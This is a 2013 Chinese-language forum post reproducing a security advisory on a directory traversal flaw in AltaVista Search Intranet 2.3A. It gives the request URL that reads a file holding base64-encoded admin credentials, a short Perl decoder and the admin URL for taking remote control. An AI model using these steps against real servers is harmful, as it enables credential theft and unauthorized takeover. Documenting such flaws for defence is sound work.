teamo0812 发表于 2013-1-30 22:45:19

AltaVista 搜索引擎目录遍历问题

受影响系统:
 
  AltaVista Search Intranet 2.3A
 
描述:
 
  AltaVista Search engine在9000端口开启了一个webserver,用来监听搜索请求.主要的搜索
 
  函数(cgi-bin/query)中有一个模板变量{mss},它将接受搜索请求中的包含的单个"../"字符
 
  串,提供对上一层目录('http')中所有文档的访问权限.
 
  这些文档可能包含很多管理信息,包括用来进行远程管理的用户名和口令.这些用户名和口令
 
  被base-64编码,可以很容易得被恢复成纯文本方式,因此攻击者可以获得远程管理这个搜索引
 
  擎的权力.
 
  < 发现者: rudi carell (rudicarell@HOTMAIL.COM) >
 
测试方法:
 
  警 告
 
  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
 
  通过执行 http://target:9000/cgi-bin/query?../logs/mgtstate
 
  可以获得mgtstate文件的内容,这里面包含有远程管理的用户名和口令.
 
  利用下面的小程序就可以将其解码,得到用户名和口令:
 
  #!/usr/bin/perl
 
  use MIME::Base64;
 
  print decode_base64("$ARGV"), "\n";
 
  然后执行 http://target:9000/cgi-bin/mgt
 
  输入得到的用户名和口令就可以远程管理该搜索引擎
页: [1]
查看完整版本: AltaVista 搜索引擎目录遍历问题